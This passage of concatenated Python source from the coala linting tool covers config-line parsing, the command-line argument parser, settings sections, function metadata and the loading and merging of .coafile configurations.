                                            E.g. "." would mean that
                                            section.key is a possible key that
                                            puts the key into the section
                                            "section" despite of the current
                                            section.
        """
        section_name_surroundings = (
            {"[": "]"} if section_name_surroundings is None
            else section_name_surroundings)

        self.key_value_delimiters = key_value_delimiters
        self.comment_separators = comment_separators
        self.key_delimiters = key_delimiters
        self.section_name_surroundings = section_name_surroundings
        self.section_override_delimiters = section_override_delimiters

    def parse(self, line):
        """
        Note that every value in the returned tuple *besides the value* is
        unescaped. This is so since the value is meant to be put into a Setting
        later thus the escapes may be needed there.

        :param line: the line to parse
        :return:     section_name (empty string if it's no section name),
                     [(section_override, key), ...], value, comment
        """
        line, comment = self.__separate_by_first_occurrence(
            line,
            self.comment_separators)
        comment = unescape(comment)
        if line == "":
            return '', [], '', comment

        section_name = unescape(self.__get_section_name(line))
        if section_name != '':
            return section_name, [], '', comment

        # Escapes in value might be needed by the bears
        keys, value = self.__extract_keys_and_value(line)

        # Add all the delimiters that stored as tuples
        all_delimiters = self.key_value_delimiters
        all_delimiters += self.key_delimiters
        all_delimiters += self.comment_separators
        all_delimiters += self.section_override_delimiters
        all_delimiters = "".join(all_delimiters)

        # Add all keys and values in section_name_surroundings, which is
        # stored as a dict
        all_delimiters += "".join(self.section_name_surroundings.keys())
        all_delimiters += "".join(self.section_name_surroundings.values())

        value = convert_to_raw(value, all_delimiters)

        key_tuples = []
        for key in keys:
            key = convert_to_raw(key, all_delimiters)
            section, key = self.__separate_by_first_occurrence(
                key,
                self.section_override_delimiters,
                True,
                True)
            key_tuples.append((unescape(section), unescape(key)))

        return '', key_tuples, value, comment

    @staticmethod
    def __separate_by_first_occurrence(string,
                                       delimiters,
                                       strip_delim=False,
                                       return_second_part_nonempty=False):
        """
        Separates a string by the first of all given delimiters. Any whitespace
        characters will be stripped away from the parts.

        :param string:                      The string to separate.
        :param delimiters:                  The delimiters.
        :param strip_delim:                 Strips the delimiter from the
                                            result if true.
        :param return_second_part_nonempty: If no delimiter is found and this
                                            is true the contents of the string
                                            will be returned in the second part
                                            of the tuple instead of the first
                                            one.
        :return:                            (first_part, second_part)
        """
        temp_string = string.replace("\\\\", "oo")
        i = temp_string.find("\\")
        while i != -1:
            temp_string = temp_string[:i] + "oo" + temp_string[i+2:]
            i = temp_string.find("\\", i+2)

        delim_pos = len(string)
        used_delim = ""
        for delim in delimiters:
            pos = temp_string.find(delim)
            if 0 <= pos < delim_pos:
                delim_pos = pos
                used_delim = delim

        if return_second_part_nonempty and delim_pos == len(string):
            return "", string.strip(" \n")

        first_part = string[:delim_pos]
        second_part = string[delim_pos + (
            len(used_delim) if strip_delim else 0):]

        if not position_is_escaped(second_part, len(second_part) - 1):
            first_part = unescaped_rstrip(first_part)
            second_part = unescaped_rstrip(second_part)

        return (first_part.lstrip().rstrip("\n"),
                second_part.lstrip().rstrip("\n"))

    def __get_section_name(self, line):
        for begin, end in self.section_name_surroundings.items():
            if (line[0:len(begin)] == begin and
                    line[len(line) - len(end):len(line)] == end):
                return line[len(begin):len(line) - len(end)].strip(" \n")

        return ''

    def __extract_keys_and_value(self, line):
        key_part, value = self.__separate_by_first_occurrence(
            line,
            self.key_value_delimiters,
            True,
            True)
        keys = list(StringConverter(
            key_part,
            list_delimiters=self.key_delimiters).__iter__(
            remove_backslashes=False))

        return keys, value






import os
from collections import OrderedDict
from types import MappingProxyType

from coalib.misc import Constants
from coalib.parsing.LineParser import LineParser
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting


class ConfParser:

    def __init__(self,
                 key_value_delimiters=('=',),
                 comment_seperators=('#',),
                 key_delimiters=(',', ' '),
                 section_name_surroundings=MappingProxyType({"[": "]"}),
                 remove_empty_iter_elements=True):
        self.line_parser = LineParser(key_value_delimiters,
                                      comment_seperators,
                                      key_delimiters,
                                      section_name_surroundings)

        self.__remove_empty_iter_elements = remove_empty_iter_elements

        # Declare it
        self.sections = None
        self.__rand_helper = None
        self.__init_sections()

    def parse(self, input_data, overwrite=False):
        """
        Parses the input and adds the new data to the existing.

        :param input_data: The filename to parse from.
        :param overwrite:  If True, wipes all existing Settings inside this
                           instance and adds only the newly parsed ones. If
                           False, adds the newly parsed data to the existing
                           one (and overwrites already existing keys with the
                           newly parsed values).
        :return:           A dictionary with (lowercase) section names as keys
                           and their Setting objects as values.
        """
        if os.path.isdir(input_data):
            input_data = os.path.join(input_data, Constants.default_coafile)

        with open(input_data, "r", encoding='utf-8') as _file:
            lines = _file.readlines()

        if overwrite:
            self.__init_sections()

        self.__parse_lines(lines, input_data)

        return self.sections

    def get_section(self, name, create_if_not_exists=False):
        key = self.__refine_key(name)
        sec = self.sections.get(key, None)
        if sec is not None:
            return sec

        if not create_if_not_exists:
            raise IndexError

        retval = self.sections[key] = Section(str(name),
                                              self.sections["default"])
        return retval

    @staticmethod
    def __refine_key(key):
        return str(key).lower().strip()

    def __add_comment(self, section, comment, origin):
        key = "comment" + str(self.__rand_helper)
        self.__rand_helper += 1
        section.append(Setting(
            key,
            comment,
            origin,
            remove_empty_iter_elements=self.__remove_empty_iter_elements))

    def __parse_lines(self, lines, origin):
        current_section_name = "default"
        current_section = self.get_section(current_section_name)
        current_keys = []

        for line in lines:
            section_name, keys, value, comment = self.line_parser.parse(line)

            if comment != "":
                self.__add_comment(current_section, comment, origin)

            if section_name != "":
                current_section_name = section_name
                current_section = self.get_section(current_section_name, True)
                current_keys = []
                continue

            if comment == "" and keys == [] and value == "":
                self.__add_comment(current_section, "", origin)
                continue

            if keys != []:
                current_keys = keys

            for section_override, key in current_keys:
                if key == "":
                    continue

                if section_override == "":
                    current_section.add_or_create_setting(
                        Setting(key,
                                value,
                                origin,
                                # Ignore PEP8Bear, it fails to format that
                                remove_empty_iter_elements=
                                self.__remove_empty_iter_elements),
                        allow_appending=(keys == []))
                else:
                    self.get_section(
                        section_override,
                        True).add_or_create_setting(
                            Setting(key,
                                    value,
                                    origin,
                                    # Ignore PEP8Bear, it fails to format that
                                    remove_empty_iter_elements=
                                    self.__remove_empty_iter_elements),
                            allow_appending=(keys == []))

    def __init_sections(self):
        self.sections = OrderedDict()
        self.sections["default"] = Section("Default")
        self.__rand_helper = 0






"""
The StringProcessing module contains various functions for extracting
information out of strings.

Most of them support regexes for advanced pattern matching.
"""






import argparse
import sys

from coalib.misc import Constants
from coalib.collecting.Collectors import get_all_bears_names


class CustomFormatter(argparse.RawDescriptionHelpFormatter):
    """
    A Custom Formatter that will keep the metavars in the usage but remove them
    in the more detailed arguments section.
    """

    def _format_action_invocation(self, action):
        if not action.option_strings:
            # For arguments that don't have options strings
            metavar, = self._metavar_formatter(action, action.dest)(1)
            return metavar
        else:
            # Option string arguments (like "-f, --files")
            parts = action.option_strings
            return ', '.join(parts)


def default_arg_parser(formatter_class=None):
    """
    This function creates an ArgParser to parse command line arguments.

    :param formatter_class: Formatting the arg_parser output into a specific
                            form. For example: In the manpage format.
    """
    formatter_class = (CustomFormatter if formatter_class is None
                       else formatter_class)

    entry_point = sys.argv[0]
    for entry in ['coala-ci', 'coala-dbus', 'coala-format', 'coala-json',
                  'coala-delete-orig']:
        if entry_point.endswith(entry):
            parser_type = entry
            break
    else:
        parser_type = 'coala'

    description = """
coala provides a common command-line interface for linting and fixing all your
code, regardless of the programming languages you use.

To find out what kind of analysis coala offers for the languages you use, visit
<https://github.com/coala-analyzer/bear-docs/blob/master/README.rst#supported-languages>
or run:

    $ coala --show-bears --filter-by-language C Python

To perform code analysis, simply specify the analysis routines (bears) and the
files you want it to run on, for example:

    $ coala --bears SpaceConsistencyBear --files **.py

coala can also automatically fix your code:

    $ coala --bears SpaceConsistencyBear --files **.py --apply-patches
"""

    arg_parser = argparse.ArgumentParser(
        formatter_class=formatter_class,
        prog="coala",
        description=description,
        # Use our own help so that we can put it in the group we want
        add_help=False)

    arg_parser.add_argument('TARGETS',
                            nargs='*',
                            help="sections to be executed exclusively")

    info_group = arg_parser.add_argument_group('Info')

    info_group.add_argument('-h',
                            '--help',
                            action='help',
                            help='show this help message and exit')

    info_group.add_argument('-v',
                            '--version',
                            action='version',
                            version=Constants.VERSION)

    config_group = arg_parser.add_argument_group('Configuration')

    config_group.add_argument(
        '-c', '--config', nargs=1, metavar='FILE',
        help="configuration file to be used, defaults to {}".format(
            Constants.default_coafile))

    config_group.add_argument(
        '-F', '--find-config', action='store_const', const=True,
        help="find {} in ancestors of the working directory".format(
            Constants.default_coafile))

    config_group.add_argument(
        '-I', '--no-config', const=True, action='store_const',
        help="run without using any config file")

    config_group.add_argument(
        '-s', '--save', nargs='?', const=True, metavar='FILE',
        help="save used arguments to a config file to a {}, the given path, "
             "or at the value of -c".format(Constants.default_coafile))

    config_group.add_argument(
        '--disable-caching', const=True, action='store_const',
        help='run on all files even if unchanged')
    config_group.add_argument(
        '--flush-cache', const=True, action='store_const',
        help='rebuild the file cache')

    inputs_group = arg_parser.add_argument_group('Inputs')

    inputs_group.add_argument(
        '-b', '--bears', nargs='+', metavar='NAME',
        help='names of bears to use').completer = (
            lambda *args, **kwargs: get_all_bears_names())  # pragma: no cover

    inputs_group.add_argument(
        '-f', '--files', nargs='+', metavar='FILE',
        help='files that should be checked')

    inputs_group.add_argument(
        '-i', '--ignore', nargs='+', metavar='FILE',
        help='files that should be ignored')

    inputs_group.add_argument(
        '--limit-files', nargs='+', metavar='FILE',
        help="filter the `--files` argument's matches further")

    inputs_group.add_argument(
        '-d', '--bear-dirs', nargs='+', metavar='DIR',
        help='additional directories which may contain bears')

    outputs_group = arg_parser.add_argument_group('Outputs')

    outputs_group.add_argument(
        '-V', '--verbose', action='store_const',
        dest='log_level', const='DEBUG',
        help="alias for `-L DEBUG`")

    outputs_group.add_argument(
        '-L', '--log-level', nargs=1,
        choices=['ERROR', 'INFO', 'WARNING', 'DEBUG'], metavar='ENUM',
        help="set log output level to ERROR/INFO/WARNING/DEBUG")

    outputs_group.add_argument(
        '-m', '--min-severity', nargs=1,
        choices=('INFO', 'NORMAL', 'MAJOR'), metavar='ENUM',
        help="set minimal result severity to INFO/NORMAL/MAJOR")

    # Specific arguments
    if parser_type in ('coala', 'coala-json'):
        outputs_group.add_argument(
            '-B', '--show-bears', const=True, action='store_const',
            help='list all bears')

        outputs_group.add_argument(
            '-l', '--filter-by-language', nargs='+', metavar='LANG',
            help="filters `--show-bears` by the given languages")

        outputs_group.add_argument(
            '-p', '--show-capabilities', nargs='+', metavar='LANG',
            help="show what coala can fix and detect for the given languages")

    if parser_type == 'coala':
        outputs_group.add_argument(
            '-D', '--show-description', const=True, action='store_const',
            help="show bear descriptions for `--show-bears`")

        outputs_group.add_argument(
            '--show-details', const=True, action='store_const',
            help='show bear details for `--show-bears`')

    # The following are "coala-json" specific arguments
    if parser_type == 'coala-json':
        outputs_group.add_argument(
            '-o', '--output', nargs=1, metavar='FILE',
            help='write JSON logs to the given file')

        outputs_group.add_argument(
            '--text-logs', nargs='?', const=True, metavar='BOOL',
            help="use regular log messages instead of JSON")

        outputs_group.add_argument(
            '-r', '--relpath', nargs='?', const=True,
            help="return relative paths for files")

    misc_group = arg_parser.add_argument_group('Miscellaneous')

    misc_group.add_argument(
        '-S', '--settings', nargs='+', metavar='SETTING',
        help="arbitrary settings in the form of section.key=value")

    misc_group.add_argument(
        '-a', '--apply-patches', action='store_const',
        dest='default_actions', const='*: ApplyPatchAction',
        help='apply all patches automatically if possible')

    misc_group.add_argument(
        "-j", "--jobs", type=int,
        help="number of jobs to use in parallel")

    misc_group.add_argument(
        '-n', '--no-orig', const=True, action='store_const',
        help="don't create .orig backup files before patching")

    try:  # pragma: no cover
        # Auto completion should be optional, because of somewhat complicated
        # setup.
        import argcomplete
        argcomplete.autocomplete(arg_parser)
    except ImportError:
        pass
    return arg_parser






import copy
import os
import sys
from collections import OrderedDict

from coalib.collecting.Collectors import collect_registered_bears_dirs
from coala_utils.decorators import enforce_signature, generate_repr
from coalib.misc.DictUtilities import update_ordered_dict_key
from coalib.settings.Setting import Setting, path_list
from coalib.parsing.Globbing import glob_escape


def append_to_sections(sections,
                       key,
                       value,
                       origin,
                       section_name=None,
                       from_cli=False):
    """
    Appends the given data as a Setting to a Section with the given name. If
    the Section does not exist before it will be created empty.

    :param sections:     The sections dictionary to add to.
    :param key:          The key of the setting to add.
    :param value:        The value of the setting to add.
    :param origin:       The origin value of the setting to add.
    :param section_name: The name of the section to add to.
    :param from_cli:     Whether or not this data comes from the CLI.
    """
    if key == '' or value is None:
        return

    if section_name == "" or section_name is None:
        section_name = "default"

    if not section_name.lower() in sections:
        sections[section_name.lower()] = Section(section_name)

    sections[section_name.lower()].append(
        Setting(key, str(value), origin, from_cli=from_cli))


@generate_repr()
class Section:
    """
    This class holds a set of settings.
    """

    @staticmethod
    def __prepare_key(key):
        return str(key).lower().strip()

    def __init__(self,
                 name,
                 defaults=None):
        if defaults is not None and not isinstance(defaults, Section):
            raise TypeError("defaults has to be a Section object or None.")
        if defaults is self:
            raise ValueError("defaults may not be self for non-recursivity.")

        self.name = str(name)
        self.defaults = defaults
        self.contents = OrderedDict()

    def bear_dirs(self):
        bear_dirs = path_list(self.get("bear_dirs", ""))
        for bear_dir in bear_dirs:
            sys.path.append(bear_dir)
        bear_dir_globs = [
            os.path.join(glob_escape(bear_dir), "**")
            for bear_dir in bear_dirs]
        bear_dir_globs += [
            os.path.join(glob_escape(bear_dir), "**")
            for bear_dir in collect_registered_bears_dirs('coalabears')]
        return bear_dir_globs

    def is_enabled(self, targets):
        """
        Checks if this section is enabled or, if targets is not empty, if it is
        included in the targets list.

        :param targets: List of target section names, all lower case.
        :return:        True or False
        """
        if len(targets) == 0:
            return bool(self.get("enabled", "true"))

        return self.name.lower() in targets

    def append(self, setting, custom_key=None):
        if not isinstance(setting, Setting):
            raise TypeError
        if custom_key is None:
            key = self.__prepare_key(setting.key)
        else:
            key = self.__prepare_key(custom_key)

        # Setting asserts key != "" for us
        self.contents[key] = setting

    def add_or_create_setting(self,
                              setting,
                              custom_key=None,
                              allow_appending=True):
        """
        Adds the value of the setting to an existing setting if there is
        already a setting  with the key. Otherwise creates a new setting.
        """
        if custom_key is None:
            key = setting.key
        else:
            key = custom_key

        if self.__contains__(key, ignore_defaults=True) and allow_appending:
            val = self[key]
            val.value = str(val.value) + "\n" + setting.value
        else:
            self.append(setting, custom_key=key)

    @enforce_signature
    def __setitem__(self, key: str, value: (str, Setting)):
        """
        Creates a Setting object from the given value if needed and assigns the
        setting to the key:

        >>> section = Section('section_name')
        >>> section['key'] = 'value'
        >>> section['key'].value
        'value'

        :param key:   Argument whose value is to be set
        :param value: The value of the given key
        :return:      Returns nothing.
        """
        if isinstance(value, Setting):
            self.append(value, custom_key=key)
        else:  # It must be a string since signature is enforced
            self.append(Setting(key, value))

    def __iter__(self, ignore_defaults=False):
        joined = self.contents.copy()
        if self.defaults is not None and not ignore_defaults:
            # Since we only return the iterator of joined (which doesnt contain
            # values) it's ok to override values here
            joined.update(self.defaults.contents)

        return iter(joined)

    def __contains__(self, item, ignore_defaults=False):
        try:
            self.__getitem__(item, ignore_defaults)

            return True
        except IndexError:
            return False

    def __getitem__(self, item, ignore_defaults=False):
        key = self.__prepare_key(item)
        if key == "":
            raise IndexError("Empty keys are invalid.")

        res = self.contents.get(key, None)
        if res is not None:
            return res

        if self.defaults is None or ignore_defaults:
            raise IndexError("Required index is unavailable.")

        return self.defaults[key]

    def __str__(self):
        value_list = ", ".join(key + " : " + repr(str(self.contents[key]))
                               for key in self.contents)
        return self.name + " {" + value_list + "}"

    def get(self, key, default="", ignore_defaults=False):
        """
        Retrieves the item without raising an exception. If the item is not
        available an appropriate Setting will be generated from your provided
        default value.

        :param key:             The key of the setting to return.
        :param default:         The default value
        :param ignore_defaults: Whether or not to ignore the default section.
        :return:                The setting.
        """
        try:
            return self.__getitem__(key, ignore_defaults)
        except IndexError:
            return Setting(key, str(default))

    def copy(self):
        """
        :return: a deep copy of this object
        """
        result = copy.copy(self)
        result.contents = copy.deepcopy(self.contents)
        if self.defaults is not None:
            result.defaults = self.defaults.copy()

        return result

    def update(self, other_section, ignore_defaults=False):
        """
        Incorporates all keys and values from the other section into this one.
        Values from the other section override the ones from this one.

        Default values from the other section override the default values from
        this only.

        :param other_section:   Another Section
        :param ignore_defaults: If set to true, do not take default values from
                                other
        :return:                self
        """
        if not isinstance(other_section, Section):
            raise TypeError("other_section has to be a Section")

        self.contents.update(other_section.contents)

        if not ignore_defaults and other_section.defaults is not None:
            if self.defaults is None:
                self.defaults = other_section.defaults.copy()
            else:
                self.defaults.update(other_section.defaults)

        return self

    def update_setting(self,
                       key,
                       new_key=None,
                       new_value=None):
        """
        Updates a setting with new values.
        :param key:       The old key string.
        :param new_key:   The new key string.
        :param new_value: The new value for the setting
        """
        if new_key is not None:
            self.contents[key].key = new_key
            self.contents = update_ordered_dict_key(self.contents,
                                                    key,
                                                    new_key)
        if new_value is not None:
            if new_key is not None:
                self.contents[new_key].value = new_value
            else:
                self.contents[key].value = new_value

    def delete_setting(self, key):
        """
        Delete a setting
        :param key: The key of the setting to be deleted
        """
        del self.contents[key]






from collections import OrderedDict
from copy import copy
from inspect import getfullargspec, ismethod

from coala_utils.decorators import enforce_signature
from coalib.settings.DocstringMetadata import DocstringMetadata


class FunctionMetadata:
    str_nodesc = "No description given."
    str_optional = "Optional, defaults to '{}'."

    @enforce_signature
    def __init__(self,
                 name: str,
                 desc: str="",
                 retval_desc: str="",
                 non_optional_params: (dict, None)=None,
                 optional_params: (dict, None)=None,
                 omit: (set, tuple, list, frozenset)=frozenset()):
        """
        Creates the FunctionMetadata object.

        :param name:                The name of the function.
        :param desc:                The description of the function.
        :param retval_desc:         The retval description of the function.
        :param non_optional_params: A dict containing the name of non optional
                                    parameters as the key and a tuple of a
                                    description and the python annotation. To
                                    preserve the order, use OrderedDict.
        :param optional_params:     A dict containing the name of optional
                                    parameters as the key and a tuple
                                    of a description, the python annotation and
                                    the default value. To preserve the order,
                                    use OrderedDict.
        :param omit:                A set of parameters to omit.
        """
        if non_optional_params is None:
            non_optional_params = OrderedDict()
        if optional_params is None:
            optional_params = OrderedDict()

        self.name = name
        self._desc = desc
        self.retval_desc = retval_desc
        self._non_optional_params = non_optional_params
        self._optional_params = optional_params
        self.omit = set(omit)

    @property
    def desc(self):
        """
        Returns description of the function.
        """
        return self._desc

    @desc.setter
    @enforce_signature
    def desc(self, new_desc: str):
        """
        Set's the description to the new_desc.
        """
        self._desc = new_desc

    def _filter_out_omitted(self, params):
        """
        Filters out parameters that are to omit. This is a helper method for
        the param related properties.

        :param params: The parameter dictionary to filter.
        :return:       The filtered dictionary.
        """
        return OrderedDict(filter(lambda p: p[0] not in self.omit,
                                  tuple(params.items())))

    @property
    def non_optional_params(self):
        """
        Retrieves a dict containing the name of non optional parameters as the
        key and a tuple of a description and the python annotation. Values that
        are present in self.omit will be omitted.
        """
        return self._filter_out_omitted(self._non_optional_params)

    @property
    def optional_params(self):
        """
        Retrieves a dict containing the name of optional parameters as the key
        and a tuple of a description, the python annotation and the default
        value. Values that are present in self.omit will be omitted.
        """
        return self._filter_out_omitted(self._optional_params)

    def add_alias(self, original, alias):
        """
        Adds an alias for the original setting. The alias setting will have
        the same metadata as the original one. If the original setting is not
        optional, the alias will default to ``None``.

        :param original:  The name of the original setting.
        :param alias:     The name of the alias for the original.
        :raises KeyError: If the new setting doesn't exist in the metadata.
        """
        self._optional_params[alias] = (
            self._optional_params[original]
            if original in self._optional_params
            else self._non_optional_params[original] + (None, ))

    def create_params_from_section(self, section):
        """
        Create a params dictionary for this function that holds all values the
        function needs plus optional ones that are available.

        :param section:    The section to retrieve the values from.
        :return:           The params dictionary.
        """
        params = {}

        for param in self.non_optional_params:
            _, annotation = self.non_optional_params[param]
            params[param] = self._get_param(param, section, annotation)

        for param in self.optional_params:
            if param in section:
                _, annotation, _ = self.optional_params[param]
                params[param] = self._get_param(param, section, annotation)

        return params

    @staticmethod
    def _get_param(param, section, annotation):
        if annotation is None:
            annotation = lambda x: x

        try:
            return annotation(section[param])
        except (TypeError, ValueError):
            raise ValueError("Unable to convert parameter {!r} into type "
                             "{}.".format(param, annotation))

    @classmethod
    def from_function(cls, func, omit=frozenset()):
        """
        Creates a FunctionMetadata object from a function. Please note that any
        variable argument lists are not supported. If you do not want the
        first (usual named 'self') argument to appear please pass the method of
        an actual INSTANCE of a class; passing the method of the class isn't
        enough. Alternatively you can add "self" to the omit set.

        :param func: The function. If __metadata__ of the unbound function is
                     present it will be copied and used, otherwise it will be
                     generated.
        :param omit: A set of parameter names that are to be ignored.
        :return:     The FunctionMetadata object corresponding to the given
                     function.
        """
        if hasattr(func, "__metadata__"):
            metadata = copy(func.__metadata__)
            metadata.omit = omit
            return metadata

        doc = func.__doc__ or ""
        doc_comment = DocstringMetadata.from_docstring(doc)

        non_optional_params = OrderedDict()
        optional_params = OrderedDict()

        argspec = getfullargspec(func)
        args = () if argspec.args is None else argspec.args
        defaults = () if argspec.defaults is None else argspec.defaults
        num_non_defaults = len(args) - len(defaults)
        for i, arg in enumerate(args):
            # Implicit self argument or omitted explicitly
            if i < 1 and ismethod(func):
                continue

            if i < num_non_defaults:
                non_optional_params[arg] = (
                    doc_comment.param_dict.get(arg, cls.str_nodesc),
                    argspec.annotations.get(arg, None))
            else:
                optional_params[arg] = (
                    doc_comment.param_dict.get(arg, cls.str_nodesc) + " (" +
                    cls.str_optional.format(
                        defaults[i-num_non_defaults]) + ")",
                    argspec.annotations.get(arg, None),
                    defaults[i-num_non_defaults])

        return cls(name=func.__name__,
                   desc=doc_comment.desc,
                   retval_desc=doc_comment.retval_desc,
                   non_optional_params=non_optional_params,
                   optional_params=optional_params,
                   omit=omit)

    def filter_parameters(self, dct):
        """
        Filters the given dict for keys that are declared as parameters inside
        this metadata (either optional or non-optional).

        You can use this function to safely pass parameters from a given
        dictionary:

        >>> def multiply(a, b=2, c=0):
        ...     return a * b + c
        >>> metadata = FunctionMetadata.from_function(multiply)
        >>> args = metadata.filter_parameters({'a': 10, 'b': 20, 'd': 30})

        You can safely pass the arguments to the function now:

        >>> multiply(**args)  # 10 * 20
        200

        :param dct:
            The dict to filter.
        :return:
            A new dict containing the filtered items.
        """
        return {key: dct[key]
                for key in (self.non_optional_params.keys() |
                            self.optional_params.keys())
                if key in dct}

    @classmethod
    def merge(cls, *metadatas):
        """
        Merges signatures of ``FunctionMetadata`` objects.

        Parameter (either optional or non-optional) and non-parameter
        descriptions are merged from left to right, meaning the right hand
        metadata overrides the left hand one.

        >>> def a(x, y):
        ...     '''
        ...     desc of *a*
        ...     :param x: x of a
        ...     :param y: y of a
        ...     :return:  5*x*y
        ...     '''
        ...     return 5 * x * y
        >>> def b(x):
        ...     '''
        ...     desc of *b*
        ...     :param x: x of b
        ...     :return:  100*x
        ...     '''
        ...     return 100 * x
        >>> metadata1 = FunctionMetadata.from_function(a)
        >>> metadata2 = FunctionMetadata.from_function(b)
        >>> merged = FunctionMetadata.merge(metadata1, metadata2)
        >>> merged.name
        "<Merged signature of 'a', 'b'>"
        >>> merged.desc
        'desc of *b*'
        >>> merged.retval_desc
        '100*x'
        >>> merged.non_optional_params['x'][0]
        'x of b'
        >>> merged.non_optional_params['y'][0]
        'y of a'

        :param metadatas:
            The sequence of metadatas to merge.
        :return:
            A ``FunctionMetadata`` object containing the merged signature of
            all given metadatas.
        """
        # Collect the metadatas, as we operate on them more often and we want
        # to support arbitrary sequences.
        metadatas = tuple(metadatas)

        merged_name = ("<Merged signature of " +
                       ", ".join(repr(metadata.name)
                                 for metadata in metadatas) +
                       ">")

        merged_desc = next((m.desc for m in reversed(metadatas) if m.desc), "")
        merged_retval_desc = next(
            (m.retval_desc for m in reversed(metadatas) if m.retval_desc), "")
        merged_non_optional_params = {}
        merged_optional_params = {}

        for metadata in metadatas:
            # Use the fields and not the properties to get also omitted
            # parameters.
            merged_non_optional_params.update(metadata._non_optional_params)
            merged_optional_params.update(metadata._optional_params)

        merged_omit = set.union(*(metadata.omit for metadata in metadatas))

        return cls(merged_name,
                   merged_desc,
                   merged_retval_desc,
                   merged_non_optional_params,
                   merged_optional_params,
                   merged_omit)






import os
import re
import sys

from coalib.collecting.Collectors import (
    collect_all_bears_from_sections, filter_section_bears_by_languages)
from coalib.misc import Constants
from coalib.output.ConfWriter import ConfWriter
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.parsing.CliParsing import parse_cli, check_conflicts
from coalib.parsing.ConfParser import ConfParser
from coalib.settings.Section import Section
from coalib.settings.SectionFilling import fill_settings
from coalib.settings.Setting import Setting, path


def merge_section_dicts(lower, higher):
    """
    Merges the section dictionaries. The values of higher will take
    precedence over the ones of lower. Lower will hold the modified dict in
    the end.

    :param lower:  A section.
    :param higher: A section which values will take precedence over the ones
                   from the other.
    :return:       The merged dict.
    """
    for name in higher:
        if name in lower:
            lower[name].update(higher[name], ignore_defaults=True)
        else:
            # no deep copy needed
            lower[name] = higher[name]

    return lower


def load_config_file(filename, log_printer, silent=False):
    """
    Loads sections from a config file. Prints an appropriate warning if
    it doesn't exist and returns a section dict containing an empty
    default section in that case.

    It assumes that the cli_sections are available.

    :param filename:    The file to load settings from.
    :param log_printer: The log printer to log the warning/error to (in case).
    :param silent:      Whether or not to warn the user/exit if the file
                        doesn't exist.
    :raises SystemExit: Exits when given filename is invalid and is not the
                        default coafile. Only raised when ``silent`` is
                        ``False``.
    """
    filename = os.path.abspath(filename)

    try:
        return ConfParser().parse(filename)
    except FileNotFoundError:
        if not silent:
            if os.path.basename(filename) == Constants.default_coafile:
                log_printer.warn("The default coafile {0!r} was not found. "
                                 "You can generate a configuration file with "
                                 "your current options by adding the `--save` "
                                 "flag.".format(Constants.default_coafile))
            else:
                log_printer.err("The requested coafile {0!r} does not exist. "
                                "You can generate it with your current "
                                "options by adding the `--save` flag."
                                .format(filename))
                sys.exit(2)

        return {"default": Section("default")}


def save_sections(sections):
    """
    Saves the given sections if they are to be saved.

    :param sections: A section dict.
    """
    default_section = sections["default"]
    try:
        if bool(default_section.get("save", "false")):
            conf_writer = ConfWriter(
                str(default_section.get("config", Constants.default_coafile)))
        else:
            return
    except ValueError:
        conf_writer = ConfWriter(str(default_section.get("save", ".coafile")))

    conf_writer.write_sections(sections)
    conf_writer.close()


def warn_nonexistent_targets(targets, sections, log_printer):
    """
    Prints out a warning on the given log printer for all targets that are
    not existent within the given sections.

    :param targets:     The targets to check.
    :param sections:    The sections to search. (Dict.)
    :param log_printer: The log printer to warn to.
    """
    for target in targets:
        if target not in sections:
            log_printer.warn(
                "The requested section '{section}' is not existent. "
                "Thus it cannot be executed.".format(section=target))


def warn_config_absent(sections, argument, log_printer):
    """
    Checks if the given argument is present somewhere in the sections and emits
    a warning that code analysis can not be run without it.

    :param sections:    A dictionary of sections.
    :param argument:    The argument to check for, e.g. "files".
    :param log_printer: A log printer to emit the warning to.
    """
    if all(argument not in section for section in sections.values()):
        log_printer.warn("coala will not run any analysis. Did you forget "
                         "to give the `--{}` argument?".format(argument))


def load_configuration(arg_list, log_printer, arg_parser=None):
    """
    Parses the CLI args and loads the config file accordingly, taking
    default_coafile and the users .coarc into account.

    :param arg_list:    The list of command line arguments.
    :param log_printer: The LogPrinter object for logging.
    :return:            A tuple holding (log_printer: LogPrinter, sections:
                        dict(str, Section), targets: list(str)). (Types
                        indicated after colon.)
    """
    cli_sections = parse_cli(arg_list=arg_list, arg_parser=arg_parser)
    check_conflicts(cli_sections)

    if (
            bool(cli_sections["default"].get("find_config", "False")) and
            str(cli_sections["default"].get("config")) == ""):
        cli_sections["default"].add_or_create_setting(
            Setting("config", re.escape(find_user_config(os.getcwd()))))

    targets = []
    # We don't want to store targets argument back to file, thus remove it
    for item in list(cli_sections["default"].contents.pop("targets", "")):
        targets.append(item.lower())

    if bool(cli_sections["default"].get("no_config", "False")):
        sections = cli_sections
    else:
        default_sections = load_config_file(Constants.system_coafile,
                                            log_printer)
        user_sections = load_config_file(
            Constants.user_coafile,
            log_printer,
            silent=True)

        default_config = str(
            default_sections["default"].get("config", ".coafile"))
        user_config = str(user_sections["default"].get(
            "config", default_config))
        config = os.path.abspath(
            str(cli_sections["default"].get("config", user_config)))

        try:
            save = bool(cli_sections["default"].get("save", "False"))
        except ValueError:
            # A file is deposited for the save parameter, means we want to save
            # but to a specific file.
            save = True

        coafile_sections = load_config_file(config, log_printer, silent=save)

        sections = merge_section_dicts(default_sections, user_sections)

        sections = merge_section_dicts(sections, coafile_sections)

        sections = merge_section_dicts(sections, cli_sections)

    for section in sections:
        if section != "default":
            sections[section].defaults = sections["default"]

    str_log_level = str(sections["default"].get("log_level", "")).upper()
    log_printer.log_level = LOG_LEVEL.str_dict.get(str_log_level,
                                                   LOG_LEVEL.INFO)

    warn_config_absent(sections, 'files', log_printer)
    warn_config_absent(sections, 'bears', log_printer)

    return sections, targets


def find_user_config(file_path, max_trials=10):
    """
    Uses the filepath to find the most suitable user config file for the file
    by going down one directory at a time and finding config files there.

    :param file_path:  The path of the file whose user config needs to be found
    :param max_trials: The maximum number of directories to go down to.
    :return:           The config file's path, empty string if none was found
    """
    file_path = os.path.normpath(os.path.abspath(os.path.expanduser(
        file_path)))
    old_dir = None
    base_dir = (file_path if os.path.isdir(file_path)
                else os.path.dirname(file_path))
    home_dir = os.path.expanduser("~")

    while base_dir != old_dir and old_dir != home_dir and max_trials != 0:
        config_file = os.path.join(base_dir, ".coafile")
        if os.path.isfile(config_file):
            return config_file

        old_dir = base_dir
        base_dir = os.path.dirname(old_dir)
        max_trials = max_trials - 1

    return ""


def get_config_directory(section):
    """
    Retrieves the configuration directory for the given section.

    Given an empty section:

    >>> section = Section("name")

    The configuration directory is not defined and will therefore fallback to
    the current directory:

